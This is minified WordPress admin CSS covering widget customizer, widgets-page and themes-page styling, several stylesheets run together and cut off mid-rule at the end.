.widget-reorder-nav{display:block}.wp-customizer div.mce-inline-toolbar-grp,.wp-customizer div.mce-tooltip{z-index:500100!important}.wp-customizer .ui-autocomplete.wplink-autocomplete{z-index:500110}.wp-customizer #wp-link-backdrop{z-index:500100}.wp-customizer #wp-link-wrap{z-index:500105}#widgets-left #available-widgets .widget{float:none!important;width:auto!important}#available-widgets .widget-action{display:none}.ios #available-widgets{transition:right 0s}#available-widgets .widget-tpl.selected,#available-widgets .widget-tpl:hover{background:#f6f7f7;border-bottom-color:#c3c4c7;color:#2271b1;border-right:4px solid #2271b1}#customize-controls .widget-title h3{font-size:1em}#available-widgets .widget-title h3{padding:0 0 5px;font-size:14px}#available-widgets .widget .widget-description{padding:0;color:#646970}#customize-preview{transition:all .2s}body.adding-widget #available-widgets{right:0;visibility:visible}body.adding-widget .wp-full-overlay-main{right:300px}body.adding-widget #customize-preview{opacity:.4}#available-widgets .widget-title{position:relative}#available-widgets .widget-title:before{content:"\f132";position:absolute;top:-3px;left:100%;margin-left:20px;width:20px;height:20px;color:#2c3338;font:normal 20px/1 dashicons;text-align:center;box-sizing:border-box;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-widgets [class*=easy] .widget-title:before{content:"\f328";top:-4px}#available-widgets [class*=like] .widget-title:before,#available-widgets [class*=super] .widget-title:before{content:"\f155";top:-4px}#available-widgets [class*=meta] .widget-title:before{content:"\f120"}#available-widgets [class*=archives] .widget-title:before{content:"\f480";top:-4px}#available-widgets [class*=categor] .widget-title:before{content:"\f318";top:-4px}#available-widgets [class*=chat] .widget-title:before,#available-widgets [class*=comment] .widget-title:before,#available-widgets [class*=testimonial] .widget-title:before{content:"\f101"}#available-widgets [class*=post] .widget-title:before{content:"\f109"}#available-widgets [class*=page] .widget-title:before{content:"\f105"}#available-widgets [class*=text] .widget-title:before{content:"\f478"}#available-widgets [class*=link] .widget-title:before{content:"\f103"}#available-widgets [class*=search] .widget-title:before{content:"\f179"}#available-widgets [class*=menu] .widget-title:before,#available-widgets [class*=nav] .widget-title:before{content:"\f333"}#available-widgets [class*=tag] .widget-title:before{content:"\f479"}#available-widgets [class*=rss] .widget-title:before{content:"\f303";top:-6px}#available-widgets [class*=calendar] .widget-title:before,#available-widgets [class*=event] .widget-title:before{content:"\f145";top:-4px}#available-widgets [class*=image] .widget-title:before,#available-widgets [class*=instagram] .widget-title:before,#available-widgets [class*=photo] .widget-title:before,#available-widgets [class*=slide] .widget-title:before{content:"\f128"}#available-widgets [class*=album] .widget-title:before,#available-widgets [class*=galler] .widget-title:before{content:"\f161"}#available-widgets [class*=tube] .widget-title:before,#available-widgets [class*=video] .widget-title:before{content:"\f126"}#available-widgets [class*=audio] .widget-title:before,#available-widgets [class*=music] .widget-title:before,#available-widgets [class*=radio] .widget-title:before{content:"\f127"}#available-widgets [class*=avatar] .widget-title:before,#available-widgets [class*=grofile] .widget-title:before,#available-widgets [class*=login] .widget-title:before,#available-widgets [class*=member] .widget-title:before,#available-widgets [class*=profile] .widget-title:before,#available-widgets [class*=subscriber] .widget-title:before,#available-widgets [class*=user] .widget-title:before{content:"\f110"}#available-widgets [class*=cart] .widget-title:before,#available-widgets [class*=commerce] .widget-title:before,#available-widgets [class*=shop] .widget-title:before{content:"\f174";top:-4px}#available-widgets [class*=firewall] .widget-title:before,#available-widgets [class*=secur] .widget-title:before{content:"\f332"}#available-widgets [class*=analytic] .widget-title:before,#available-widgets [class*=poll] .widget-title:before,#available-widgets [class*=stat] .widget-title:before{content:"\f185"}#available-widgets [class*=form] .widget-title:before{content:"\f175"}#available-widgets [class*=contact] .widget-title:before,#available-widgets [class*=mail] .widget-title:before,#available-widgets [class*=news] .widget-title:before,#available-widgets [class*=subscribe] .widget-title:before{content:"\f466"}#available-widgets [class*=share] .widget-title:before,#available-widgets [class*=socia] .widget-title:before{content:"\f237"}#available-widgets [class*=lang] .widget-title:before,#available-widgets [class*=translat] .widget-title:before{content:"\f326"}#available-widgets [class*=locat] .widget-title:before,#available-widgets [class*=map] .widget-title:before{content:"\f231"}#available-widgets [class*=download] .widget-title:before{content:"\f316"}#available-widgets [class*=weather] .widget-title:before{content:"\f176";top:-4px}#available-widgets [class*=facebook] .widget-title:before{content:"\f304"}#available-widgets [class*=tweet] .widget-title:before,#available-widgets [class*=twitter] .widget-title:before{content:"\f301"}@media screen and (max-height:700px) and (min-width:981px){.customize-control-widget_form{margin-bottom:0}.widget-top{box-shadow:none;margin-top:-1px}.widget-top:hover{position:relative;z-index:1}.last-widget{margin-bottom:15px}.widget-title h3{padding:13px 15px}.widget-top .widget-action{padding:8px 10px}.widget-reorder-nav span{height:39px}.widget-reorder-nav span:before{line-height:39px}#customize-theme-controls .widget-area-select li{padding:9px 42px 11px 15px}#customize-theme-controls .widget-area-select li:before{top:8px}}/*! This file is auto-generated */
.widget{margin:0 auto 10px;position:relative;box-sizing:border-box}.widget.open{z-index:99}.widget.open:focus-within{z-index:100}.widget-top{font-size:13px;font-weight:600;background:#f6f7f7}.widget-top .widget-action{border:0;margin:0;padding:10px;background:0 0;cursor:pointer}.widget-title h3,.widget-title h4{margin:0;padding:15px;font-size:1em;line-height:1;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-user-select:none;user-select:none}.widgets-holder-wrap .widget-inside{border-top:none;padding:1px 15px 15px;line-height:1.23076923}.widget.widget-dirty .widget-control-close-wrapper{display:none}#available-widgets .widget-description,#widgets-right a.widget-control-edit,.in-widget-title{color:#646970}.deleting .widget-title,.deleting .widget-top .widget-action .toggle-indicator:before{color:#a7aaad}.wp-core-ui .media-widget-control .selected,.wp-core-ui .media-widget-control.selected .not-selected,.wp-core-ui .media-widget-control.selected .placeholder{display:none}.media-widget-control.selected .selected{display:inline-block}.media-widget-buttons{text-align:right;margin-top:0}.media-widget-control .media-widget-buttons .button{width:auto;height:auto;margin-top:12px;white-space:normal}.media-widget-buttons .button:first-child{margin-left:8px}.media-widget-control .attachment-media-view .button-add-media,.media-widget-control .placeholder{border:1px dashed #c3c4c7;box-sizing:border-box;cursor:pointer;line-height:1.6;padding:9px 0;position:relative;text-align:center;width:100%}.media-widget-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.media-widget-control .attachment-media-view .button-add-media:hover{background-color:#fff}.media-widget-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-style:solid;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent;outline-offset:-2px}.media-widget-control .media-widget-preview{background:0 0;text-align:center}.media-widget-control .media-widget-preview .notice{text-align:initial}.media-frame .media-widget-embed-notice p code,.media-widget-control .notice p code{padding:0 0 0 3px}.media-frame .media-widget-embed-notice{margin-top:16px}.media-widget-control .media-widget-preview img{max-width:100%;vertical-align:middle;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.media-widget-control .media-widget-preview .wp-video-shortcode{background:#000}.media-frame.media-widget .media-toolbar-secondary{min-width:300px}.media-frame.media-widget .attachment-display-settings .setting.align,.media-frame.media-widget .checkbox-setting.autoplay,.media-frame.media-widget .embed-link-settings .setting.link-text,.media-frame.media-widget .embed-media-settings .legend-inline,.media-frame.media-widget .embed-media-settings .setting.align,.media-frame.media-widget .image-details .embed-media-settings .setting.align,.media-frame.media-widget .replace-attachment{display:none}.media-widget-video-preview{width:100%}.media-widget-video-link{display:inline-block;min-height:132px;width:100%;background:#000}.media-widget-video-link .dashicons{font:normal 60px/1 dashicons;position:relative;width:100%;top:-90px;color:#fff;text-decoration:none}.media-widget-video-link.no-poster .dashicons{top:30px}.media-frame #embed-url-field.invalid,.media-widget-image-link>.link:invalid{border:1px solid #d63638}.media-widget-image-link{margin:1em 0}.media-widget-gallery-preview{display:flex;justify-content:flex-start;flex-wrap:wrap;margin:-1.79104477%}.media-widget-preview.media_gallery,.media-widget-preview.media_image{cursor:pointer}.media-widget-preview .placeholder{background:#f0f0f1}.media-widget-gallery-preview .gallery-item{box-sizing:border-box;width:50%;margin:0;background:0 0}.media-widget-gallery-preview .gallery-item .gallery-icon{margin:4.5%}.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),.media-widget-gallery-preview .gallery-item:nth-last-child(n+5)~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),.media-widget-gallery-preview .gallery-item:nth-last-child(n+6)~.gallery-item{max-width:33.33%}.media-widget-gallery-preview .gallery-item img{height:auto;vertical-align:bottom}.media-widget-gallery-preview .gallery-icon{position:relative}.media-widget-gallery-preview .gallery-icon-placeholder{position:absolute;top:0;bottom:0;width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,.5)}.media-widget-gallery-preview .gallery-icon-placeholder-text{font-weight:600;font-size:2em;color:#fff}.widget.ui-draggable-dragging{min-width:100%}.widget.ui-sortable-helper{opacity:.8}.widget-placeholder{border:1px dashed #c3c4c7;margin:0 auto 10px;height:45px;width:100%;box-sizing:border-box}#widgets-right .widget-placeholder{margin-top:0}#widgets-right .closed .widget-placeholder{height:0;border:0;margin-top:-10px}.sidebar-name{position:relative;box-sizing:border-box}.js .sidebar-name{cursor:pointer}.sidebar-name .handlediv{float:left;width:38px;height:38px;border:0;margin:0;padding:8px;background:0 0;cursor:pointer;outline:0}#widgets-right .sidebar-name .handlediv{margin:5px 0 0 3px}.sidebar-name .handlediv:focus{box-shadow:none;outline:1px solid transparent}#widgets-left .sidebar-name .toggle-indicator{display:none}#widgets-left .sidebar-name .handlediv:focus .toggle-indicator,#widgets-left .sidebar-name:hover .toggle-indicator,#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator{display:block}.sidebar-name .toggle-indicator:before{padding:1px 0 1px 2px;border-radius:50%}.sidebar-name .handlediv:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.sidebar-name h2,.sidebar-name h3{margin:0;padding:8px 10px;overflow:hidden;white-space:normal;line-height:1.5}.widgets-holder-wrap .description{padding:0 0 15px;margin:0;font-style:normal;color:#646970}.inactive-sidebar .description,.widget-holder .description{color:#50575e}#widgets-right .widgets-holder-wrap .description{padding-right:7px;padding-left:7px}div.widget-liquid-left{margin:0;width:38%;float:right}div.widget-liquid-right{float:left;width:58%}div#widgets-left{padding-top:12px}div#widgets-left .closed .sidebar-name,div#widgets-left .inactive-sidebar.closed .sidebar-name{margin-bottom:10px}div#widgets-left .sidebar-name h2,div#widgets-left .sidebar-name h3{padding:10px 0;margin:0 0 0 10px}#widgets-left .widgets-holder-wrap,div#widgets-left .widget-holder{background:0 0;border:none}#widgets-left .widgets-holder-wrap{border:none;box-shadow:none}#available-widgets .widget{margin:0}#available-widgets .widget:nth-child(odd){clear:both}#available-widgets .widget .widget-description{display:block;padding:10px 15px;font-size:12px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;-webkit-hyphens:auto;hyphens:auto}#available-widgets #widget-list{position:relative}#widgets-left .inactive-sidebar{clear:both;width:100%;background:0 0;padding:0;margin:0 0 20px;border:none;box-shadow:none}#widgets-left .inactive-sidebar.first{margin-top:40px}div#widgets-left .inactive-sidebar .widget.expanded{right:auto}.widget-title-action{float:left;position:relative}div#widgets-left .inactive-sidebar .widgets-sortables{min-height:42px;padding:0;background:0 0;margin:0;position:relative}div#widgets-right .sidebars-column-1,div#widgets-right .sidebars-column-2{max-width:450px}div#widgets-right .widgets-holder-wrap{margin:10px 0 0}div#widgets-right .sidebar-description{min-height:20px;margin-top:-5px}div#widgets-right .sidebar-name h2,div#widgets-right .sidebar-name h3{padding:15px 7px 15px 15px}div#widgets-right .widget-top{padding:0}div#widgets-right .widgets-sortables{padding:0 8px;margin-bottom:9px;position:relative;min-height:123px}div#widgets-right .closed .widgets-sortables{min-height:0;margin-bottom:0}.remove-inactive-widgets .spinner,.sidebar-name .spinner{float:none;position:relative;top:-2px;margin:-5px 5px}.sidebar-name .spinner{position:absolute;top:18px;left:30px}#widgets-right .widgets-holder-wrap.widget-hover{border-color:#787c82;box-shadow:0 1px 2px rgba(0,0,0,.3)}.widget-access-link{float:left;margin:-5px 10px 10px 0}.widgets_access #widgets-left .widget .widget-top{cursor:auto}.widgets_access #wpwrap .widget-control-edit,.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,.widgets_access #wpwrap .widgets-holder-wrap.closed .widget{display:block}.widgets_access #widgets-left .widget .widget-top:hover,.widgets_access #widgets-right .widget .widget-top:hover{border-color:#dcdcde}#available-widgets .widget-action .edit,#available-widgets .widget-control-edit .edit,#widgets-left .inactive-sidebar .widget-action .add,#widgets-left .inactive-sidebar .widget-control-edit .add,#widgets-right .widget-action .add,#widgets-right .widget-control-edit .add{display:none}.widget-control-edit{display:block;color:#646970;background:#f0f0f1;padding:0 15px;line-height:3.30769230;border-right:1px solid #dcdcde}#widgets-left .widget-control-edit:hover,#widgets-right .widget-control-edit:hover{color:#fff;background:#3c434a;border-right:0;outline:1px solid #3c434a}.widgets-holder-wrap .sidebar-description,.widgets-holder-wrap .sidebar-name{-webkit-user-select:none;user-select:none}.editwidget{margin:0 auto}.editwidget .widget-inside{display:block;padding:0 15px}.editwidget .widget-control-actions{margin-top:20px}.js .closed br.clear,.js .widgets-holder-wrap.closed .description,.js .widgets-holder-wrap.closed .remove-inactive-widgets,.js .widgets-holder-wrap.closed .sidebar-description,.js .widgets-holder-wrap.closed .widget{display:none}.js .widgets-holder-wrap.closed .widget.ui-sortable-helper{display:block}.widget-description,.widget-inside{display:none}.widget-inside{background:#fff}.widget-inside select{max-width:100%}#removing-widget{display:none;font-weight:400;padding-right:15px;font-size:12px;line-height:1;color:#000}.js #removing-widget{color:#72aee6}#access-off,.no-js .widget-holder .description,.widget-control-noform,.widgets_access #access-on,.widgets_access .handlediv,.widgets_access .widget-action,.widgets_access .widget-holder .description{display:none}.widgets_access #widget-list,.widgets_access .widget-holder{padding-top:10px}.widgets_access #access-off{display:inline}.widgets_access .sidebar-name,.widgets_access .widget .widget-top{cursor:default}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{transition:opacity .1s linear}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{opacity:.2;pointer-events:none}.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question{opacity:1;pointer-events:auto}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.widgets-chooser ul.widgets-chooser-sidebars{margin:0;list-style-type:none;max-height:300px;overflow:auto}.widgets-chooser{display:none}.widgets-chooser ul{border:1px solid #c3c4c7}.widgets-chooser li{border-bottom:1px solid #c3c4c7;background:#fff;margin:0;position:relative}.widgets-chooser .widgets-chooser-button{width:100%;padding:10px 35px 10px 15px;background:0 0;border:0;box-sizing:border-box;text-align:right;cursor:pointer;transition:background .2s ease-in-out}.widgets-chooser .widgets-chooser-button:focus,.widgets-chooser .widgets-chooser-button:hover{outline:0;text-decoration:underline}.widgets-chooser li:last-child{border:none}.widgets-chooser .widgets-chooser-selected .widgets-chooser-button{background:#2271b1;color:#fff}.widgets-chooser .widgets-chooser-selected:before{content:"\f147";display:block;-webkit-font-smoothing:antialiased;font:normal 26px/1 dashicons;color:#fff;position:absolute;top:7px;right:5px}.widgets-chooser .widgets-chooser-actions{padding:10px 0 12px;text-align:center}#available-widgets .widget .widget-top{cursor:pointer}#available-widgets .widget.ui-draggable-dragging .widget-top{cursor:move}.text-widget-fields{position:relative}.text-widget-fields [hidden]{display:none}.text-widget-fields .wp-pointer.wp-pointer-top{position:absolute;z-index:3;top:100px;left:10px;right:10px}.text-widget-fields .wp-pointer .wp-pointer-arrow{right:auto;left:15px}.text-widget-fields .wp-pointer .wp-pointer-buttons{line-height:1.4}.custom-html-widget-fields>p>.CodeMirror{border:1px solid #dcdcde}.custom-html-widget-fields code{padding-top:1px;padding-bottom:1px}ul.CodeMirror-hints{z-index:101}.widget-control-actions .custom-html-widget-save-button.button.validation-blocked{cursor:not-allowed}@media screen and (max-width:782px){.editwidget .widget-inside input[type=checkbox],.editwidget .widget-inside input[type=radio],.widgets-holder-wrap .widget-inside input[type=checkbox],.widgets-holder-wrap .widget-inside input[type=radio]{margin:.25rem 0 .25rem .25rem}}@media screen and (max-width:480px){div.widget-liquid-left{width:100%;float:none;border-left:none;padding-left:0}#widgets-left .sidebar-name{margin-left:0}#widgets-left #available-widgets .widget-top{margin-left:0}#widgets-left .inactive-sidebar .widgets-sortables{margin-left:0}div.widget-liquid-right{width:100%;float:none}div.widget{max-width:480px}.widget-access-link{float:none;margin:15px 0 0}}@media screen and (max-width:320px){div.widget{max-width:320px}}@media only screen and (min-width:1250px){#widgets-left #available-widgets .widget{width:49%;float:right}.widget.ui-draggable-dragging{min-width:49%}#widgets-left #available-widgets .widget:nth-child(2n){float:left}#widgets-right .sidebars-column-1,#widgets-right .sidebars-column-2{float:right;width:49%}#widgets-right .sidebars-column-1{margin-left:2%}#widgets-right.single-sidebar .sidebars-column-1,#widgets-right.single-sidebar .sidebars-column-2{float:none;width:100%;margin:0}}/*! This file is auto-generated */
.themes-php{overflow-y:scroll}body.js .theme-browser.search-loading{display:none}.theme-browser .themes{clear:both}.themes-php:not(.network-admin) .wrap h1{margin-bottom:15px}.themes-php .wrap h1 .button{margin-left:20px}.themes-php .search-form{display:inline}.themes-php .wp-filter-search{position:relative;top:-2px;left:20px;margin:0;width:280px}.theme .notice,.theme .notice.is-dismissible{left:0;margin:0;position:absolute;right:0;top:0}.theme-browser .theme{cursor:pointer;float:left;margin:0 4% 4% 0;position:relative;width:30.6%;border:1px solid #dcdcde;box-shadow:0 1px 1px -1px rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme:nth-child(3n){margin-right:0}.theme-browser .theme.focus,.theme-browser .theme:hover{cursor:pointer}.theme-browser .theme .theme-name{font-size:15px;font-weight:600;height:18px;margin:0;padding:15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;background:#fff;background:rgba(255,255,255,.65)}.theme-browser .theme .theme-actions{opacity:0;transition:opacity .1s ease-in-out;height:auto;background:rgba(246,247,247,.7);border-left:1px solid rgba(0,0,0,.05)}.theme-browser .theme.focus .theme-actions,.theme-browser .theme:hover .theme-actions{opacity:1}.theme-browser .theme .theme-actions .button-primary{margin-right:3px}.theme-browser .theme .theme-actions .button{float:none;margin-left:3px}.theme-browser .theme .theme-screenshot{display:block;overflow:hidden;position:relative;-webkit-backface-visibility:hidden;transition:opacity .2s ease-in-out}.theme-browser .theme .theme-screenshot:after{content:"";display:block;padding-top:66.66666%}.theme-browser .theme .theme-screenshot img{height:auto;position:absolute;left:0;top:0;width:100%;transition:opacity .2s ease-in-out}.theme-browser .theme.focus .theme-screenshot,.theme-browser .theme:hover .theme-screenshot{background:#fff}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:.4}.theme-browser .theme .more-details{opacity:0;position:absolute;top:35%;right:20%;left:20%;width:60%;background:#1d2327;background:rgba(0,0,0,.7);color:#fff;font-size:15px;text-shadow:0 1px 0 rgba(0,0,0,.6);-webkit-font-smoothing:antialiased;font-weight:600;padding:15px 12px;text-align:center;border-radius:3px;border:none;transition:opacity .1s ease-in-out;cursor:pointer}.theme-browser .theme .more-details:focus{box-shadow:0 0 0 2px #2271b1}.theme-browser .theme.focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.theme-browser .theme.focus .more-details{opacity:1}.theme-browser .theme.active.focus .theme-actions{display:block}.theme-browser.rendered .theme.focus .more-details,.theme-browser.rendered .theme:hover .more-details{opacity:1}.theme-browser .theme.active .theme-name{background:#1d2327;color:#fff;padding-right:110px;font-weight:300;box-shadow:inset 0 1px 1px rgba(0,0,0,.5)}.theme-browser .customize-control .theme.active .theme-name{padding-right:15px}.theme-browser .theme.active .theme-name span{font-weight:600}.theme-browser .theme.active .theme-actions{background:rgba(44,51,56,.7);border-left:none;opacity:1}.theme-id-container{position:relative}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{position:absolute;top:50%;transform:translateY(-50%);right:0;padding:9px 15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}.theme-browser .theme.active .theme-actions .button-primary{margin-right:0}.theme-browser .theme .theme-author{background:#1d2327;color:#f0f0f1;display:none;font-size:14px;margin:0 10px;padding:5px 10px;position:absolute;bottom:56px}.theme-browser .theme.display-author .theme-author{display:block}.theme-browser .theme.display-author .theme-author a{color:inherit}.theme-browser .theme.add-new-theme{border:none;box-shadow:none}.theme-browser .theme.add-new-theme a{text-decoration:none;display:block;position:relative;z-index:1}.theme-browser .theme.add-new-theme a:after{display:block;content:"";background:0 0;background:rgba(0,0,0,0);position:absolute;top:0;left:0;right:0;bottom:0;padding:0;text-shadow:none;border:5px dashed #dcdcde;border:5px dashed rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme.add-new-theme span:after{background:#dcdcde;background:rgba(140,143,148,.1);border-radius:50%;display:inline-block;content:"\f132";-webkit-font-smoothing:antialiased;font:normal 74px/115px dashicons;width:100px;height:100px;vertical-align:middle;text-align:center;color:#8c8f94;position:absolute;top:30%;left:50%;margin-left:-50px;text-indent:-4px;padding:0;text-shadow:none;z-index:4}.rtl .theme-browser .theme.add-new-theme span:after{text-indent:4px}.theme-browser .theme.add-new-theme a:focus .theme-screenshot,.theme-browser .theme.add-new-theme a:hover .theme-screenshot{background:0 0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{background:#fff;color:#2271b1}.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{border-color:transparent;color:#fff;background:#2271b1;content:""}.theme-browser .theme.add-new-theme .theme-name{background:0 0;text-align:center;box-shadow:none;font-weight:400;position:relative;top:0;margin-top:-18px;padding-top:0;padding-bottom:48px}.theme-browser .theme.add-new-theme a:focus .theme-name,.theme-browser .theme.add-new-theme a:hover .theme-name{color:#fff;z-index:2}.theme-overlay .theme-backdrop{position:absolute;left:-20px;right:0;top:0;bottom:0;background:#f0f0f1;background:rgba(240,240,241,.9);z-index:10000}.theme-overlay .theme-header{position:absolute;top:0;left:0;right:0;height:48px;border-bottom:1px solid #dcdcde}.theme-overlay .theme-header button{padding:0}.theme-overlay .theme-header .close{cursor:pointer;height:48px;width:50px;text-align:center;float:right;border:0;border-left:1px solid #dcdcde;background-color:transparent;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:before{font:normal 22px/50px dashicons!important;color:#787c82;display:inline-block;content:"\f335";font-weight:300}.theme-overlay .theme-header .left,.theme-overlay .theme-header .right{cursor:pointer;color:#787c82;background-color:transparent;height:48px;width:54px;float:left;text-align:center;border:0;border-right:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .close:hover,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .left:hover,.theme-overlay .theme-header .right:focus,.theme-overlay .theme-header .right:hover{background:#dcdcde;border-color:#c3c4c7;color:#000}.theme-overlay .theme-header .close:focus:before,.theme-overlay .theme-header .close:hover:before{color:#000}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .right:focus{box-shadow:none;outline:0}.theme-overlay .theme-header .left.disabled,.theme-overlay .theme-header .left.disabled:hover,.theme-overlay .theme-header .right.disabled,.theme-overlay .theme-header .right.disabled:hover{color:#c3c4c7;background:inherit;cursor:inherit}.theme-overlay .theme-header .left:before,.theme-overlay .theme-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.theme-overlay .theme-header .left:before{content:"\f341"}.theme-overlay .theme-header .right:before{content:"\f345"}.theme-overlay .theme-wrap{clear:both;position:fixed;top:9%;left:190px;right:30px;bottom:3%;background:#fff;box-shadow:0 1px 20px 5px rgba(0,0,0,.1);z-index:10000;box-sizing:border-box;-webkit-overflow-scrolling:touch}body.folded .theme-browser~.theme-overlay .theme-wrap{left:70px}.theme-overlay .theme-about{position:absolute;top:49px;bottom:57px;left:0;right:0;overflow:auto;padding:2% 4%}.theme-overlay .theme-actions{position:absolute;text-align:center;bottom:0;left:0;right:0;padding:10px 25px 5px;background:#f6f7f7;z-index:30;box-sizing:border-box;border-top:1px solid #f0f0f1;display:flex;justify-content:center;gap:5px}.theme-overlay .theme-actions .button{margin-bottom:5px}.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"],.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"]{display:none}.broken-themes a.delete-theme,.theme-overlay .theme-actions .delete-theme{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.broken-themes a.delete-theme:focus,.broken-themes a.delete-theme:hover,.theme-overlay .theme-actions .delete-theme:focus,.theme-overlay .theme-actions .delete-theme:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.theme-overlay .theme-actions .active-theme,.theme-overlay.active .theme-actions .inactive-theme{display:none}.theme-overlay .theme-actions .inactive-theme,.theme-overlay.active .theme-actions .active-theme{display:block}.theme-overlay .theme-screenshots{float:left;margin:0 30px 0 0;width:55%;max-width:1200px;text-align:center}.theme-overlay .screenshot{border:1px solid #fff;box-sizing:border-box;overflow:hidden;position:relative;box-shadow:0 0 0 1px rgba(0,0,0,.2)}.theme-overlay .screenshot:after{content:"";display:block;padding-top:75%}.theme-overlay .screenshot img{height:auto;position:absolute;left:0;top:0;width:100%}.theme-overlay.small-screenshot .theme-screenshots{position:absolute;width:302px}.theme-overlay.small-screenshot .theme-info{margin-left:350px;width:auto}.theme-overlay .screenshot.thumb{background:#c3c4c7;border:1px solid #f0f0f1;float:none;display:inline-block;margin:10px 5px 0;width:140px;height:80px;cursor:pointer}.theme-overlay .screenshot.thumb:after{content:"";display:block;padding-top:100%}.theme-overlay .screenshot.thumb img{cursor:pointer;height:auto;position:absolute;left:0;top:0;width:100%;height:auto}.theme-overlay .screenshot.selected{background:0 0;border:2px solid #72aee6}.theme-overlay .screenshot.selected img{opacity:.8}.theme-browser .theme .theme-screenshot.blank,.theme-overlay .screenshot.blank{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=)}.theme-overlay .theme-info{width:40%;float:left}.theme-overlay .current-label{background:#2c3338;color:#fff;font-size:11px;display:inline-block;padding:2px 8px;border-radius:2px;margin:0 0 -10px;-webkit-user-select:none;user-select:none}.theme-overlay .theme-name{color:#1d2327;font-size:32px;font-weight:100;margin:10px 0 0;line-height:1.3;word-wrap:break-word;overflow-wrap:break-word}.theme-overlay .theme-version{color:#646970;font-size:13px;font-weight:400;float:none;display:inline-block;margin-left:10px}.theme-overlay .theme-author{margin:15px 0 25px;color:#646970;font-size:16px;font-weight:400;line-height:inherit}.theme-overlay .toggle-auto-update{display:inline-flex;align-items:center;min-height:20px;vertical-align:top}.theme-overlay .theme-autoupdate .toggle-auto-update{text-decoration:none}.theme-overlay .theme-autoupdate .toggle-auto-update .label{text-decoration:underline}.theme-overlay .theme-description{color:#50575e;font-size:15px;font-weight:400;line-height:1.5;margin:30px 0 0}.theme-overlay .theme-tags{border-top:3px solid #f0f0f1;color:#646970;font-size:13px;font-weight:400;margin:30px 0 0;padding-top:20px}.theme-overlay .theme-tags span{color:#3c434a;font-weight:600;margin-right:5px}.theme-overlay .parent-theme{background:#fff;border:1px solid #f0f0f1;border-left:4px solid #72aee6;font-size:14px;font-weight:400;margin-top:30px;padding:10px 10px 10px 20px}.theme-overlay .parent-theme strong{font-weight:600}.single-theme .theme,.single-theme .theme-overlay .theme-backdrop,.single-theme .theme-overlay .theme-header{display:none}.single-theme .theme-overlay .theme-wrap{clear:both;min-height:330px;position:relative;left:auto;right:auto;top:auto;bottom:auto;z-index:10}.single-theme .theme-overlay .theme-about{padding:30px 30px 70px;position:static}.single-theme .theme-overlay .theme-actions{position:absolute}@media only screen and (min-width:2000px){#wpwrap .theme-browser .theme{width:17.6%;margin:0 3% 3% 0}#wpwrap .theme-browser .theme:nth-child(3n),#wpwrap .theme-browser .theme:nth-child(4n){margin-right:3%}#wpwrap .theme-browser .theme:nth-child(5n){margin-right:0}}@media only screen and (min-width:1680px){.theme-overlay .theme-wrap{width:1450px;margin:0 auto}}@media only screen and (min-width:1640px){.theme-browser .theme{width:22.7%;margin:0 3% 3% 0}.theme-browser .theme .theme-screenshot:after{padding-top:75%}.theme-browser .theme:nth-child(3n){margin-right:3%}.theme-browser .theme:nth-child(4n){margin-right:0}}@media only screen and (max-width:1120px){.theme-browser .theme{width:47.5%;margin-right:0}.theme-browser .theme:nth-child(2n){margin-right:0}.theme-browser .theme:nth-child(odd){margin-right:5%}}@media only screen and (max-width:960px){.theme-overlay .theme-wrap{left:65px}}@media only screen and (max-width:782px){.theme-overlay 